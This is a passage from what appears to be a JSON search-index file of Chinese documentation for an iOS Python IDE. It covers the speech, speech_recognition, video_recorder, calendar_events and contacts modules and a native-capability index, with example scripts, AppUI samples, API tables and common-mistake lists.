返回设备可用语音标识列表,适合设置页;不要在 body() 里每次刷新都调用。 voices = speech.available_voices()\nprint(len(voices), voices[:5]) 常见错误 错误写法 后果 修正 AppUI 里 `wait=True` 界面阻塞 使用 `wait=False` 用 `speech` 播放音效 能力不匹配 使用 [sound](sound-module) 新朗读前不 `stop()` 多段语音重叠排队 先 `stop()` 再 `say()` 长文本无停止按钮 用户无法打断 提供「停止」按钮 相关文档 文档 用途 [sound](sound-module) 短音效与本地音频 [speech_recognition](speech-recognition-module) 语音转文字 [原生能力入口](miniapp-native-capabilities) MiniApp 场景配方 预期效果 运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。" + }, + { + "id": "speech-recognition-module", + "title": "speech_recognition", + "subtitle": "语音转文字:实时听写和音频文件转写。", + "section": "iOS 原生模块 / 媒体", + "url": "pages/speech-recognition-module/", + "text": "speech_recognition 语音转文字:实时听写和音频文件转写。 iOS 原生模块 媒体 Speech STT Dictation speech_recognition speech to text dictation 语音识别 语音转文字 SFSpeechRecognizer speech_recognition 语音转文字(SFSpeechRecognizer):实时麦克风听写,或转写音频文件。 边界 :与 speech(文字→语音)方向相反。实时模式需要 语音识别 + 麦克风 系统授权;start() 未授权时会报 denied。统一 permission 的 request() 暂不支持 speech/microphone 弹窗,需在系统设置中开启权限。 模块概览 项 说明 导入 `import speech_recognition as sr` 适合做什么 语音输入、听写备忘、语音搜索、音频转文字 调用时机 `start()` / `recognize_file()` 放在按钮回调 实时模式 `start` → 轮询 `text()` → `stop()` 拿最终文本 文件模式 `recognize_file(path)` 一次性返回完整稿 快速开始 下面脚本检查能力并开始中文实时听写(需在系统设置中已授权): import speech_recognition as sr\n\nprint(\"支持:\", sr.is_available())\nprint(\"语言示例:\", sr.supported_locales()[:5])\n\ntry:\n sr.start(locale=\"zh-CN\")\n # 用户说话期间可轮询 sr.text()\n print(\"中间结果:\", sr.text())\n final = sr.stop()\n print(\"最终结果:\", final)\nexcept sr.SpeechRecognitionError as exc:\n print(\"失败:\", exc, f\"code={exc.code}\") AppUI 示例 开始/停止放在按钮回调;用 Timer 轮询中间结果。 import appui\nimport speech_recognition as sr\n\nstate = appui.State(\n listening=False,\n transcript=\"点击开始听写\",\n status=\"空闲\",\n)\n\n\ndef tick():\n if state.listening:\n state.transcript = sr.text() or \"(正在聆听…)\"\n\n\npoll_timer = appui.Timer(interval=0.3, repeats=True, action=tick)\n\n\ndef toggle_listening():\n if state.listening:\n poll_timer.stop()\n state.transcript = sr.stop() or \"(无识别内容)\"\n state.batch_update(listening=False, status=\"已停止\")\n return\n\n try:\n sr.start(locale=\"zh-CN\", partial=True)\n state.batch_update(\n listening=True,\n status=\"聆听中\",\n transcript=\"(正在聆听…)\",\n )\n poll_timer.start()\n except sr.SpeechRecognitionError as exc:\n state.transcript = (\n f\"无法开始: {exc}\\n\"\n \"请在系统设置中开启「语音识别」和「麦克风」\"\n )\n state.status = str(exc.code or \"error\")\n\n\ndef cancel_listening():\n if state.listening:\n poll_timer.stop()\n sr.cancel()\n state.batch_update(\n listening=False,\n status=\"已取消\",\n transcript=\"听写已取消\",\n )\n\n\ndef check_locales():\n locales = sr.supported_locales()\n state.status = f\"支持 {len(locales)} 种语言\"\n\n\ndef body():\n label = \"停止听写\" if state.listening else \"开始听写\"\n return appui.NavigationStack(\n appui.Form([\n appui.Section(\"听写\", [\n appui.Text(state.transcript).foreground_color(\"secondaryLabel\"),\n appui.LabeledContent(\"状态\", value=state.status),\n ]),\n appui.Section(\"操作\", [\n appui.Button(label, action=toggle_listening)\n .button_style(\"bordered_prominent\"),\n appui.Button(\"取消\", action=cancel_listening, role=\"destructive\"),\n appui.Button(\"查看支持语言\", action=check_locales),\n ], footer=\"真机测试最可靠;需语音识别与麦克风权限。\"),\n ]).navigation_title(\"语音听写\")\n )\n\n\nappui.run(body, state=state) API 参考 速查 API 作用 `is_available()` 设备/语言是否支持 `supported_locales()` 支持的 BCP-47 语言列表 `start(locale, on_device, partial)` 开始实时听写 `text()` / `status()` 当前识别文本 / 完整状态 `stop()` 停止并返回最终文本 `cancel()` 立即停止并丢弃结果 `recognize_file(path, locale)` 转写音频文件 实时听写 import speech_recognition as sr\n\nsr.start(locale=\"zh-CN\", on_device=False, partial=True)\nwhile sr.is_listening():\n print(sr.text())\nfinal = sr.stop() 参数 说明 `locale` BCP-47,如 `zh-CN`、`en-US` `on_device` 优先离线识别(设备支持时) `partial` 是否返回中间结果 status() 返回:listening、transcript、is_final、error。 已在听写时再次 start() 会抛 SpeechRecognitionError(code=\"already_listening\")。 文件转写 只需语音识别权限(不需麦克风): text = sr.recognize_file(\"/path/to/audio.m4a\", locale=\"zh-CN\") 异常 失败时抛出 SpeechRecognitionError,可通过 exc.code 区分: `code` 含义 `denied` 语音识别未授权 `already_listening` 重复 `start()` `unavailable` 语言或设备不支持 常见错误 错误写法 后果 修正 在 `body()` 里 `start()` 刷新时重复启动 放进按钮回调 未授权就 `start()` `denied` 异常 系统设置开启权限 把 `permission.request()` 当 bool 判断错误且暂不支持弹窗 用 `try/except` 处理 `start()` 高频轮询 `text()` 浪费 CPU 用 `Timer(interval=0.3)` 节流 相关文档 文档 用途 [speech](speech-module) 文字转语音(相反方向) [audio_recorder](audio-recorder-module) 录音到文件再转写 [permission](permission-module) 权限状态查询 [原生能力入口](miniapp-native-capabilities) MiniApp 场景配方 预期效果 运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。" + }, + { + "id": "video-recorder-module", + "title": "video_recorder", + "subtitle": "摄像头录像保存为文件。", + "section": "iOS 原生模块 / 媒体", + "url": "pages/video-recorder-module/", + "text": "video_recorder 摄像头录像保存为文件。 iOS 原生模块 媒体 video_recorder video_recorder video-recorder video_recorder 摄像头录像:把视频保存为 .mov 文件到 App Documents 目录。 边界 :需要相机权限;统一 permission 的 request(\"camera\") 暂不支持弹窗 ,在 start() 上用 try/except VideoRecorderError 处理失败。拍照见 camera / photos。录像只能放在用户操作回调里,不要在 body() 中调用。 模块概览 项 说明 导入 `import video_recorder` 适合做什么 短视频采集、现场记录、后续 [media_composer](media-composer-module) 剪辑 调用时机 `start()` / `stop()` 放在按钮回调 推荐顺序 `start()` → 轮询 `status()` → `stop()` 拿文件信息 有状态 支持 `cancel()` 丢弃半成品;不可重复 `start()` 快速开始 下面脚本开始录像、等待几秒后停止并打印文件信息: import time\nimport video_recorder\n\ntry:\n path = video_recorder.start()\n print(\"录像中:\", path)\n time.sleep(3)\n info = video_recorder.stop()\n if info:\n print(\"已保存:\", info[\"path\"])\n print(\"时长:\", info[\"duration\"], \"秒\")\n print(\"大小:\", info[\"size\"], \"字节\")\nexcept video_recorder.VideoRecorderError as exc:\n print(\"录像失败:\", exc, f\"code={exc.code}\") AppUI 示例 开始/停止放在按钮回调;用 Timer 轮询录制时长。 import appui\nimport video_recorder\n\nstate = appui.State(\n recording=False,\n path=\"\",\n seconds=0.0,\n status=\"点击开始录像\",\n)\n\n\ndef tick():\n if not state.recording:\n return\n st = video_recorder.status()\n state.seconds = float(st.get(\"duration\", 0.0))\n\n\npoll_timer = appui.Timer(interval=0.2, repeats=True, action=tick)\n\n\ndef toggle_recording():\n if state.recording:\n poll_timer.stop()\n info = video_recorder.stop() or {}\n state.batch_update(\n recording=False,\n path=info.get(\"path\", \"\"),\n status=f\"已保存 · {info.get('duration', 0):.1f}s\",\n )\n return\n\n try:\n path = video_recorder.start(camera=\"back\")\n state.batch_update(\n recording=True,\n path=path or \"\",\n status=\"录像中…\",\n )\n poll_timer.start()\n except video_recorder.VideoRecorderError as exc:\n state.status = f\"无法开始: {exc}(请检查相机权限)\"\n\n\ndef cancel_recording():\n if not state.recording:\n return\n poll_timer.stop()\n video_recorder.cancel()\n state.batch_update(\n recording=False,\n path=\"\",\n seconds=0.0,\n status=\"已取消并删除临时文件\",\n )\n\n\ndef body():\n label = \"停止录像\" if state.recording else \"开始录像\"\n return appui.NavigationStack(\n appui.Form([\n appui.Section(\"录像\", [\n appui.LabeledContent(\"状态\", value=state.status),\n appui.LabeledContent(\"时长\", value=f\"{state.seconds:.1f} 秒\"),\n appui.Text(state.path).font(\"caption\").foreground_color(\"secondaryLabel\"),\n ]),\n appui.Section(\"操作\", [\n appui.Button(label, action=toggle_recording)\n .button_style(\"bordered_prominent\"),\n appui.Button(\"取消录像\", action=cancel_recording, role=\"destructive\"),\n ], footer=\"真机测试最可靠;需相机权限。\"),\n ]).navigation_title(\"录像\")\n )\n\n\nappui.run(body, state=state) API 参考 速查 API 作用 `start(path, camera, quality)` 开始录像 → 文件路径 `stop()` 停止 → `{path, duration, size}` `cancel()` 停止并删除半成品 `status()` `{recording, duration, path}` `VideoRecorderError` 操作失败时抛出 录像控制 start(path=None, camera=\"back\", quality=\"high\") path = video_recorder.start()\npath = video_recorder.start(camera=\"front\") 参数 说明 `path` 输出路径;省略时自动生成到 Documents `camera` `back`(后置)/ `front`(前置) `quality` 兼容参数,当前 Bridge 可能忽略 stop() — 返回 {path, duration, size};未录像时返回空字典。 cancel() — 丢弃半成品文件。 状态 status() 返回: 字段 说明 `recording` 是否正在录像 `duration` 已录秒数 `path` 当前输出路径 异常 `code` 含义 `already_recording` 重复 `start()` `unavailable` 相机不可用或无法添加输出 `unknown_command` Bridge 命令错误 常见错误 错误写法 后果 修正 在 `body()` 里 `start()` 刷新时重复录像 放进按钮回调 `if permission.request(\"camera\"):` 判断错误且暂不支持 用 `try/except` 处理 `start()` 放弃录像不 `cancel()` 留下垃圾文件 调用 `cancel()` 与 [audio_recorder](audio-recorder-module) 同时录 硬件会话冲突 分开使用,先停一个 相关文档 文档 用途 [camera](camera-module) 拍照 [media_composer](media-composer-module) 视频合并/导出 [avplayer](avplayer-module) 播放录像文件 [permission](permission-module) 相机权限状态查询 预期效果 运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。" + }, + { + "id": "ios-native", + "title": "iOS 原生能力", + "subtitle": "相册、联系人、权限、相机、控制台和安全存储。", + "section": "iOS 原生模块 / 快速上手", + "url": "pages/ios-native/", + "text": "iOS 原生能力 相册、联系人、权限、相机、控制台和安全存储。 iOS 原生模块 快速上手 Photos Contacts Keychain photos contacts dialogs clipboard console sound keychain 权限 iOS 原生能力 iOS 原生 Python 模块总入口:按任务选模块、组合调用、权限与真机要求速查。 边界 :这是 能力索引页 ,不是 import 名。具体 API 见各模块文档;系统面板、硬件扫描、权限申请必须由按钮或菜单触发,不要在 AppUI body() 或模块导入时自动执行。 模块概览 项 说明 导入 按任务 `import` 对应模块(如 `import photos`) 适合做什么 相册、定位、通知、蓝牙、健康、网络等系统能力 调用时机 按钮/刷新/选择器触发;`body()` 只展示 `State` 敏感数据 token/密钥 → `keychain`;普通设置 → `storage` 文档导航 schema `navigation.iosNative` 投影;见下方 **文档导航** 表 下一步 按场景配方选模块 → 打开模块页 → 复制 AppUI 示例 快速开始 相册、剪贴板、HUD 与钥匙串组合(函数式,适合脚本调试): import clipboard\nimport console\nimport keychain\nimport photos\n\n\ndef pick_photo_and_copy_size():\n image = photos.pick_image(raw_data=True)\n if not image:\n return \"已取消选择\"\n clipboard.set(f\"picked {len(image)} bytes\")\n console.hud_alert(\"已复制图片大小\", \"success\")\n return f\"已复制 {len(image)} bytes\"\n\n\ndef save_demo_token():\n ok = keychain.set_password(\"demo\", \"token\", \"demo-token\")\n return \"已保存\" if ok else \"保存失败\" AppUI 示例 设备信息、本地快照与通知提醒组合;原生调用均在按钮回调里。 import appui\nimport device\nimport haptics\nimport notification\nimport storage\n\nSNAPSHOT_KEY = \"native.snapshot\"\nREMINDER_ID = \"native.snapshot.reminder\"\n\nstate = appui.State(\n message=\"就绪\",\n rows=[\n {\"id\": \"model\", \"title\": \"型号\", \"value\": \"点击刷新\"},\n {\"id\": \"battery\", \"title\": \"电量\", \"value\": \"—\"},\n ],\n)\n\n\ndef row_key(row):\n return row[\"id\"]\n\n\ndef row_view(row):\n return appui.LabeledContent(row[\"title\"], value=row[\"value\"])\n\n\ndef refresh_device_info():\n state.rows = [\n {\"id\": \"model\", \"title\": \"型号\", \"value\": device.model()},\n {\"id\": \"battery\", \"title\": \"电量\", \"value\": f\"{device.battery_level():.0%}\"},\n ]\n state.message = \"设备信息已刷新\"\n\n\ndef save_snapshot():\n storage.set_json(SNAPSHOT_KEY, state.rows)\n if haptics.is_supported():\n haptics.notification(\"success\")\n state.message = \"快照已保存\"\n\n\ndef remind_later():\n perm = notification.request_permission()\n if not perm.get(\"granted\"):\n state.message = \"未获得通知权限\"\n return\n\n result = notification.schedule(\n REMINDER_ID,\n \"原生快照\",\n \"查看已保存的设备快照\",\n delay=60,\n )\n state.message = f\"已调度提醒: {result}\"\n\n\ndef body():\n return appui.NavigationStack(\n appui.List([\n appui.Section(\"设备\", [\n appui.ForEach(state.rows, row_builder=row_view, key=row_key),\n ]),\n appui.Section(\"操作\", [\n appui.Button(\"刷新设备\", action=refresh_device_info),\n appui.Button(\"保存快照\", action=save_snapshot)\n .button_style(\"bordered_prominent\"),\n appui.Button(\"1 分钟后提醒\", action=remind_later),\n ], footer=state.message),\n ]).navigation_title(\"原生能力\")\n )\n\n\nappui.run(body, state=state) API 参考 先选模块 目标 首选模块 注意 查询或申请权限 [permission](permission-module) 只在用户点击后申请 选择、拍照、保存图片 [photos](photos-module) 取消返回 `None`,要先判断 保存 token、密码 [keychain](keychain-module) 不要写到 `storage` 或日志 保存普通设置 [storage](storage-module) 主题、开关、筛选条件 弹窗、HUD、输入 [console](console-module) / [dialogs](dialogs-module) 短反馈用 HUD 定位、运动、健康、蓝牙、NFC 对应模块 先展示用途再请求 网络、WebSocket [network](network-module) / [websocket](websocket-module) 勿在 `body()` 发请求 快捷指令、Live Activity [shortcuts](shortcuts-module) / [live_activity](live-activity-module) 需明确用户动作 入口模型 所有原生能力入口由同一套能力清单统一定义(App 内与 Agent 共用)。先判断入口类型,再打开对应文档。 入口类型 第一行写什么 文档入口 Python 模块 `import ` [API 参考 › Python 模块](ios-native#python-模块) AppUI 原生组件 `import appui` + 组件名 [API 参考 › AppUI 原生组件](ios-native#appui-原生组件) 专题页 见专题页「首选入口」 [API 参考 › 专题页](ios-native#专题页) 参考 见参考页说明 `c_extensions` 等 Python 模块 完整 Python import 模块表(含类型与呈现方式): 模块 类型 呈现 分类 权限 能力 [`alarm`](alarm-module) Python 模块 Python API 系统服务 无 alarm_schedule, alarm_cancel [`assistant`](assistant-module) Python 模块 Python API 系统服务 无 assistant_tools, device_context_answers [`audio_recorder`](audio-recorder-module) Python 模块 Python API 媒体与视觉 microphone microphone_capture, recording_control, level_metering [`audio_session`](audio-session-module) Python 模块 Python API 媒体与视觉 无 audio_session_category, audio_route_query [`avplayer`](avplayer-module) Python 模块 Python API 媒体与视觉 无 audio_video_load, playback_control, native_player [`background`](background-module) Python 模块 Python API 网络与连接 无 background_task, remaining_time, app_state [`background_download`](background-download-module) Python 模块 Python API 网络与连接 无 background_download, download_progress [`biometric`](biometric-module) Python 模块 系统表单 设备与传感器 biometric face_id, touch_id, passcode_fallback [`ble_peripheral`](ble-peripheral-module) Python 模块 Python API 网络与连接 无 ble_peripheral_advertising, ble_characteristic_update [`bluetooth`](bluetooth-module) Python 模块 Python API 网络与连接 bluetooth ble_scan, ble_connect, read, write [`c_extensions`](c-extensions-module) 参考 参考清单 网络与连接 无 扩展清单, 兼容性说明 [`calendar_events`](calendar-events-module) Python 模块 系统选择器 系统服务 calendar, reminders calendar_read, calendar_write, reminders [`clipboard`](clipboard-module) Python 模块 Python API 系统服务 无 read_clipboard, write_clipboard, clear_clipboard [`console`](console-module) Python 模块 系统表单 系统服务 无 hud, alerts, input_dialogs [`contacts`](contacts-module) Python 模块 系统选择器 系统服务 contacts contacts_read, contacts_picker, contacts_edit [`coreml`](coreml-module) Python 模块 Python API 媒体与视觉 无 model_listing, model_loading, image_prediction [`database`](database-module) Python 模块 Python API 系统服务 无 sqlite, native_sqlite_bridge, collections, transactions [`device`](device-module) Python 模块 Python API 设备与传感器 无 device_state, screen, battery, thermal_state [`dialogs`](dialogs-module) Python 模块 系统表单 系统服务 无 native_dialogs, forms, pickers [`font_picker`](font-picker-module) Python 模块 系统表单 系统服务 无 font_picker_ui [`foundation_models`](foundation-models-module) Python 模块 Python API 系统服务 无 on_device_generation, summarization, error_explanation [`haptics`](haptics-module) Python 模块 Python API 设备与传感器 无 impact_feedback, notification_feedback, core_haptics [`health`](health-module) Python 模块 Python API 设备与传感器 health steps, heart_rate, sleep, body_metrics [`http_server`](http-server-module) Python 模块 Python API 网络与连接 无 local_http_server, file_serving [`keyboard`](keyboard-module) Python 模块 Python API 自动化与扩展 无 toolbar_buttons, insert_text, set_buttons [`keychain`](keychain-module) Python 模块 Python API 系统服务 无 secure_password_storage, service_listing [`live_activity`](live-activity-module) Python 模块 Python API 系统服务 无 dynamic_island, lock_screen_activity [`location`](location-module) Python 模块 Python API 设备与传感器 location gps, heading, geocoding [`mail`](mail-module) Python 模块 撰写界面 系统服务 无 mail_compose, attachment_send [`media_composer`](media-composer-module) Python 模块 Python API 媒体与视觉 无 video_merge, audio_mux, media_export [`message`](message-module) Python 模块 撰写界面 系统服务 无 sms_compose, imessage_compose [`motion`](motion-module) Python 模块 Python API 设备与传感器 motion accelerometer, gyroscope, attitude, barometer [`music`](music-module) Python 模块 Python API 媒体与视觉 无 music_playback, catalog_search [`music_player`](music-player-module) Python 模块 Python API 媒体与视觉 无 music_queue, playback_control, play_mode, now_playing_metadata, remote_commands, playback_restore, progress_events, queue_preload, preload_events [`network`](network-module) Python 模块 Python API 网络与连接 无 http, download, connectivity [`nfc`](nfc-module) Python 模块 系统选择器 系统服务 nfc ndef_scan, ndef_write [`notification`](notification-module) Python 模块 Python API 系统服务 notifications local_notifications, badges, scheduled_alerts [`now_playing`](now-playing-module) Python 模块 Python API 媒体与视觉 无 now_playing_metadata, playback_progress [`objc_util`](objc-util-module) Python 模块 Python API 自动化与扩展 无 Objective-C 运行时, 系统框架访问 [`pdf`](pdf-module) Python 模块 Python API 媒体与视觉 无 pdf_creation, text_extraction, page_rendering, quicklook_preview [`permission`](permission-module) Python 模块 Python API 系统服务 无 permission_status, permission_request [`photos`](photos-module) Python 模块 Python API 媒体与视觉 photos, camera photo_picker, camera_capture, photo_save, video_save, asset_read [`qrcode`](qrcode-module) Python 模块 Python API 媒体与视觉 无 qr_generation, png_export [`shazam`](shazam-module) Python 模块 Python API 媒体与视觉 microphone music_identification, microphone_recognition, file_recognition [`shortcuts`](shortcuts-module) Python 模块 Python API 自动化与扩展 无 run_shortcut, open_url, open_settings [`sound`](sound-module) Python 模块 Python API 媒体与视觉 无 sound_effects, audio_player [`speech`](speech-module) Python 模块 Python API 媒体与视觉 speech text_to_speech, voice_listing [`speech_recognition`](speech-recognition-module) Python 模块 Python API 媒体与视觉 speech, microphone live_transcription, file_transcription, locale_listing [`ssh`](ssh-module) Python 模块 Python API 网络与连接 无 ssh_exec, sftp_upload, sftp_download [`storage`](storage-module) Python 模块 Python API 系统服务 无 user_defaults, json_values [`storekit`](storekit-module) Python 模块 Python API 系统服务 无 iap_purchase, subscription_status, product_catalog [`translation`](translation-module) Python 模块 Python API 系统服务 无 on_device_translation, language_listing [`video_recorder`](video-recorder-module) Python 模块 Python API 媒体与视觉 camera video_recording [`vision`](vision-module) Python 模块 Python API 媒体与视觉 无 ocr [`vision_helper`](vision-helper-module) Python 模块 Python API 媒体与视觉 无 face_detection, barcode_detection, rectangle_detection, classification [`weather`](weather-module) Python 模块 Python API 网络与连接 location current_conditions, daily_forecast, hourly_forecast [`websocket`](websocket-module) Python 模块 Python API 网络与连接 无 websocket_connect, send, receive, close AppUI 原生组件入口 无独立 import 的系统 UI,通过 AppUI 组件触发: 组件入口 AppUI 组件 文档 关联模块 `camera_picker` `CameraPicker` [camera-module](camera-module#appui-camera-picker) `photos` `file_importer` `FileImporter` [file-picker-module](file-picker-module#file-importer) — `map_view` `MapView` [location-module](location-module#map-view) `location`, `permission` `photo_picker` `PhotoPicker` [photos-module](photos-module#appui-photo-picker) `photos` `player_controller` `PlayerController` [appui-ref-media](appui-ref-media#player-controller) `avplayer` `share_link` `ShareLink` [share-module](share-module#share-link) — `video_player` `VideoPlayer` [appui-ref-media](appui-ref-media#video-player) `avplayer` `web_view` `WebView` [appui-ref-media](appui-ref-media#webview) — 专题页 同一能力的双入口说明(脚本模块 vs AppUI 组件): 专题 首选入口 文档 说明 `camera` photos [camera-module](camera-module) Camera capture via photos.capture_image or AppUI CameraPicker. `file_picker` appui [file-picker-module](file-picker-module) File selection has no import module; use AppUI FileImporter. `share` appui [share-module](share-module) System share sheet has no import module; use AppUI ShareLink. 文档导航 侧边栏分组由 schema navigation.iosNative 投影,与 App 内文档导航一致: 分组 包含能力 快速上手 [ios-native](ios-native) 基础与权限 [permission-module](permission-module), [storage-module](storage-module), [database-module](database-module), [keychain-module](keychain-module), [clipboard-module](clipboard-module), [console-module](console-module), [dialogs-module](dialogs-module) 设备与传感器 [device-module](device-module), [location-module](location-module), [motion-module](motion-module), [haptics-module](haptics-module), [biometric-module](biometric-module), [health-module](health-module) 界面与系统 [file-picker-module](file-picker-module), [share-module](share-module), [font-picker-module](font-picker-module), [notification-module](notification-module), [live-activity-module](live-activity-module), [contacts-module](contacts-module), [calendar-events-module](calendar-events-module) 媒体 **采集**:[photos-module](photos-module), [camera-module](camera-module), [video-recorder-module](video-recorder-module), [audio-recorder-module](audio-recorder-module)
**播放**:[sound-module](sound-module), [avplayer-module](avplayer-module), [music-player-module](music-player-module), [music-module](music-module), [now-playing-module](now-playing-module), [audio-session-module](audio-session-module)
**语音**:[speech-module](speech-module), [speech-recognition-module" + }, + { + "id": "calendar-events-module", + "title": "calendar_events", + "subtitle": "日历事件、提醒事项和 EventKit 权限。", + "section": "iOS 原生模块 / 界面与系统", + "url": "pages/calendar-events-module/", + "text": "calendar_events 日历事件、提醒事项和 EventKit 权限。 iOS 原生模块 界面与系统 Calendar Reminder EventKit calendar_events calendar eventkit 提醒事项 日历 reminder calendar_events 日历与提醒事项:读取/写入 EventKit 事件,管理提醒待办。 边界 :事件和提醒是 两个独立权限 。写日历用 request_access(),写提醒用 request_reminder_access()。时间参数用 Unix timestamp ,不是日期字符串。 模块概览 项 说明 导入 `import calendar_events` 适合做什么 创建会议/专注块、查日程、创建/完成提醒 调用时机 权限、读取、写入都放在按钮回调 推荐顺序 申请对应权限 → 创建/查询 → 保存返回的 `id` 供删除 时间格式 `start` / `end` / `due_timestamp` 均为 Unix 秒级时间戳 快速开始 下面脚本申请日历权限,创建 1 小时专注块: import time\nimport calendar_events\n\nstatus = calendar_events.authorization_status()\nif status != \"authorized\":\n status = calendar_events.request_access()\n\nif status == \"authorized\":\n now = time.time()\n event = calendar_events.create_event(\n \"专注时间\",\n now + 3600,\n now + 7200,\n notes=\"来自 PythonIDE\",\n )\n print(\"已创建:\", event)\nelse:\n print(\"日历未授权:\", status) AppUI 示例 权限、创建和查询都放在按钮回调;未授权时展示状态,不继续写入。 import time\n\nimport appui\nimport calendar_events\n\nstate = appui.State(\n calendar_auth=\"未查询\",\n status=\"等待操作\",\n result=\"—\",\n)\n\n\ndef refresh_auth():\n state.calendar_auth = calendar_events.authorization_status()\n\n\ndef create_focus_block():\n status = calendar_events.request_access()\n state.calendar_auth = status\n if status != \"authorized\":\n state.batch_update(status=\"日历未授权\", result=str(status))\n return\n\n now = time.time()\n event = calendar_events.create_event(\n \"专注时间\",\n now + 3600,\n now + 7200,\n notes=\"来自 PythonIDE\",\n )\n state.batch_update(status=\"事件已创建\", result=str(event))\n\n\ndef create_reminder():\n status = calendar_events.request_reminder_access()\n if status != \"authorized\":\n state.batch_update(status=\"提醒未授权\", result=str(status))\n return\n\n reminder = calendar_events.create_reminder(\n \"整理笔记\",\n notes=\"来自 PythonIDE\",\n due_timestamp=time.time() + 3600,\n )\n state.batch_update(status=\"提醒已创建\", result=str(reminder))\n\n\ndef list_today():\n status = calendar_events.request_access()\n state.calendar_auth = status\n if status != \"authorized\":\n state.batch_update(status=\"日历未授权\", result=\"—\")\n return\n\n now = time.time()\n events = calendar_events.get_events(now, now + 86400)\n state.batch_update(\n status=\"查询完成\",\n result=f\"未来 24 小时共 {len(events)} 个事件\",\n )\n\n\ndef body():\n return appui.NavigationStack(\n appui.Form([\n appui.Section(\"权限\", [\n appui.LabeledContent(\"日历授权\", value=state.calendar_auth),\n appui.Button(\"刷新授权状态\", action=refresh_auth),\n ]),\n appui.Section(\"操作\", [\n appui.Button(\"创建专注块\", action=create_focus_block)\n .button_style(\"bordered_prominent\"),\n appui.Button(\"创建提醒\", action=create_reminder),\n appui.Button(\"查询今日事件\", action=list_today),\n ]),\n appui.Section(\"结果\", [\n appui.LabeledContent(\"状态\", value=state.status),\n appui.Text(state.result).font(\"caption\").foreground_color(\"secondaryLabel\"),\n ]),\n ]).navigation_title(\"日历\")\n )\n\n\nappui.run(body, state=state) API 参考 速查 API 作用 `authorization_status()` / `request_access()` 日历事件权限 `request_reminder_access()` 提醒事项权限 `get_calendars()` 可用日历列表 `get_events(start, end)` 查询时间范围内事件 `create_event(title, start, end, ...)` 创建日历事件 `delete_event(event_id)` 删除事件 → `bool` `get_reminders()` 提醒列表 `create_reminder(title, ...)` 创建提醒 `complete_reminder(id)` / `delete_reminder(id)` 完成/删除提醒 日历事件 权限: status = calendar_events.authorization_status()\nif status != \"authorized\":\n status = calendar_events.request_access() get_calendars() — 返回可写入的日历列表,可选 calendar_id 传给 create_event。 get_events(start, end, calendar_id=None) — 查询时间范围内事件,start/end 为 Unix timestamp。 create_event(title, start, end, , notes=None, location=None, calendar_id=None, all_day=False) — 创建事件;end 必须晚于 start。 import time\n\nnow = time.time()\nevent = calendar_events.create_event(\n \"团队会议\",\n now + 3600,\n now + 5400,\n notes=\"周会\",\n location=\"会议室 A\",\n)\nevent_id = event.get(\"id\") # 保存 id 供后续删除 delete_event(event_id) — 返回 True/False。 提醒事项 提醒需要单独申请权限: if calendar_events.request_reminder_access() == \"authorized\":\n reminder = calendar_events.create_reminder(\n \"提交报告\",\n notes=\"下班前\",\n due_timestamp=time.time() + 7200,\n ) API 说明 `get_reminders()` 读取提醒列表 `create_reminder(title, notes=None, due_timestamp=None)` 创建提醒 `complete_reminder(reminder_id)` 标记完成 `delete_reminder(reminder_id)` 删除提醒 常见错误 错误写法 后果 修正 写提醒前只申请日历权限 提醒仍无权限 用 `request_reminder_access()` 传日期字符串给 `create_event` 时间错误 传 Unix timestamp 不保存事件 `id` 后续无法删除 保存 `create_event` 返回的 `id` `end <= start` 创建失败 确保结束时间晚于开始 相关文档 文档 用途 [notification](notification-module) 本地定时提醒(非日历) [permission](permission-module) 统一权限查询 [原生能力入口](miniapp-native-capabilities) MiniApp 场景配方 预期效果 运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。" + }, + { + "id": "contacts-module", + "title": "contacts", + "subtitle": "联系人读取、编辑、选择器和 vCard 导入导出。", + "section": "iOS 原生模块 / 界面与系统", + "url": "pages/contacts-module/", + "text": "contacts 联系人读取、编辑、选择器和 vCard 导入导出。 iOS 原生模块 界面与系统 Contacts Picker vCard contacts 联系人 通讯录 pick_contact vcard group contacts 访问系统通讯录:权限、读取、搜索、编辑、分组、系统选择器与 vCard 导入导出。 边界 :联系人属于敏感数据。默认只读当前功能需要的字段和数量;列表页用 limit/offset;修改后需 save() 提交。token 等凭据不要用通讯录存,请用 keychain。 模块概览 项 说明 导入 `import contacts` 适合做什么 选人、搜索联系人、展示卡片、创建/编辑联系人 调用时机 读取和选择器放在按钮回调;不要首屏批量读取 推荐顺序 `is_authorized` → `request_access` → 读取/选择 → 修改后 `save()` 编辑事务 `add_person` 等改动需 `save()` 落盘;失败时 `revert()` 快速开始 下面脚本申请权限,读取前 10 个联系人并搜索名字: import contacts\n\nif not contacts.is_authorized():\n contacts.request_access()\n\nif not contacts.is_authorized():\n print(\"通讯录未授权\")\nelse:\n people = contacts.get_all_people(limit=10)\n for person in people:\n name = getattr(person, \"full_name\", \"\") or \"未命名\"\n print(person.identifier, name)\n\n matches = contacts.find(\"张\")\n print(\"搜索到\", len(matches), \"个匹配\") AppUI 示例 读取和系统选择器都放在按钮回调;列表不加载头像和 vCard。 import appui\nimport contacts\n\nstate = appui.State(\n status=\"等待操作\",\n selected=\"—\",\n people=[],\n)\n\n\ndef person_key(person):\n return person[\"id\"]\n\n\ndef person_row(person):\n return appui.VStack([\n appui.Text(person[\"name\"]),\n appui.Text(person[\"phone\"]).font(\"caption\").foreground_color(\"secondaryLabel\"),\n ], spacing=2)\n\n\ndef load_people():\n if not contacts.is_authorized():\n contacts.request_access()\n if not contacts.is_authorized():\n state.batch_update(status=\"未授权\", people=[], selected=\"—\")\n return\n\n rows = []\n for person in contacts.get_all_people(limit=20):\n phones = getattr(person, \"phone_numbers\", []) or []\n phone = phones[0] if phones else \"—\"\n rows.append({\n \"id\": person.identifier or str(person.id),\n \"name\": (\n getattr(person, \"full_name\", \"\")\n or getattr(person, \"organization\", \"\")\n or \"未命名联系人\"\n ),\n \"phone\": str(phone),\n })\n state.batch_update(\n status=f\"已读取 {len(rows)} 个联系人\",\n people=rows,\n )\n\n\ndef pick_one():\n if not contacts.is_authorized():\n contacts.request_access()\n if not contacts.is_authorized():\n state.status = \"未授权,无法打开选择器\"\n return\n\n picked = contacts.pick_contact()\n if not picked:\n state.status = \"用户取消选择\"\n return\n name = getattr(picked, \"full_name\", \"\") or \"未命名联系人\"\n state.batch_update(\n selected=name,\n status=\"已通过系统选择器选中联系人\",\n )\n\n\ndef body():\n return 